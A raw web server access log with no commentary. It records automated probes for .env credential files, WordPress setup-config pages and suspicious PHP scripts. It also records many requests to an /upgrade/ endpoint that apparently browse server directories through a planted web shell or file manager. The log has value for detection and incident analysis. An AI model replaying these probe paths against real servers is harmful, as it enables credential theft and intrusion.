213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /home/ec2-user/.ssh/bin/aws/bin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.azure/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /app/configurationtionura/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.env-tokens HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:05 -0400] "GET /auth/saml/extlib/simplesamlphp/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:05 -0400] "GET /unreal/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:05 -0400] "GET /aptapi/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:05 -0400] "GET /archive.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:05 -0400] "GET /update/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
43.165.198.144 - - [11/Sep/2026:22:05:00 -0400] "GET /wp-content/?NA HTTP/1.1" 200 755 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
136.0.82.161 - - [11/Sep/2026:22:10:57 -0400] "GET /.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
136.0.82.161 - - [11/Sep/2026:22:11:01 -0400] "POST / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
43.165.198.224 - - [11/Sep/2026:22:14:45 -0400] "GET /wp-content/?MD HTTP/1.1" 200 757 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
106.63.26.157 - - [11/Sep/2026:22:16:06 -0400] "GET / HTTP/1.1" 200 7665 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.21 - - [11/Sep/2026:22:16:21 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.149 - - [11/Sep/2026:22:16:23 -0400] "GET /robots.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.8 - - [11/Sep/2026:22:16:24 -0400] "GET /sitemap.xml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.7 - - [11/Sep/2026:22:16:33 -0400] "GET /config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.8 - - [11/Sep/2026:22:17:03 -0400] "GET / HTTP/1.1" 200 1722 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.8 - - [11/Sep/2026:22:17:15 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.156 - - [11/Sep/2026:22:17:18 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
192.248.150.180 - - [11/Sep/2026:22:23:26 -0400] "GET / HTTP/2" 200 1727 "-" "Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET / HTTP/1.1" 200 1727 "http://163.245.207.76:443/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/besth2o.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /?SA= HTTP/1.1" 200 1727 "http://163.245.207.76:443/?SA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bestjudy.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "https://163.245.207.76:443/besth2o.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/big-wife.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "https://163.245.207.76:443/bestjudy.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "https://163.245.207.76:443/big-wife.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /bossini.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bossini.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:56 -0400] "GET /?MA= HTTP/1.1" 200 1727 "http://163.245.207.76:443/?MA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "https://163.245.207.76:443/bossini.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /upgrade/ HTTP/1.1" 200 6436 "http://163.245.207.76:443/upgrade/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/ba-guo.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/biotaiwan.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "https://163.245.207.76:443/ba-guo.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8493 "https://163.245.207.76:443/biotaiwan.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /error_log HTTP/1.1" 403 1242 "http://163.245.207.76:443/error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/broadweb.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "https://163.245.207.76:443/broadweb.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bestzyx.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/booking-wise2.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/beauty-dental.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10462 "https://163.245.207.76:443/bestzyx.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "https://163.245.207.76:443/booking-wise2.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:57 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "https://163.245.207.76:443/beauty-dental.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bioway88.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /mah.php HTTP/1.1" 200 1945 "http://163.245.207.76:443/mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bogroup.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /thoms.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18478 "https://163.245.207.76:443/bioway88.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 15917 "https://163.245.207.76:443/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "https://163.245.207.76:443/bogroup.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "http://163.245.207.76:443/bft.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /wp-content/ HTTP/1.1" 200 755 "http://163.245.207.76:443/wp-content/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bfl.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bfl.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4560 "https://163.245.207.76:443/bft.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "https://163.245.207.76:443/bfl.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1349 "https://163.245.207.76:443/wordpress-6.6.2-zh_TW/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/1.1" 200 366 "http://163.245.207.76:443/_autoindex/assets/js/tablesort.number.js" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "http://163.245.207.76:443/cgi-bin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /betcity.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/betcity.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 301 0 "http://163.245.207.76:443/bodbooks.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "https://163.245.207.76:443/betcity.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/1.1" 200 2300 "http://163.245.207.76:443/_autoindex/assets/js/tablesort.js" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "https://163.245.207.76:443/bodbooks.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:58 -0400] "GET /wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 19200137 "http://163.245.207.76:443/wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:33:59 -0400] "GET /?ND= HTTP/1.1" 200 1730 "http://163.245.207.76:443/?ND=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7924 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7631 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 200 6475 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 28447 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 46594 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 47325 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5784 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6464 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6450 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 200 6475 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 33548 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 31076 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7846 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6475 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7646 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
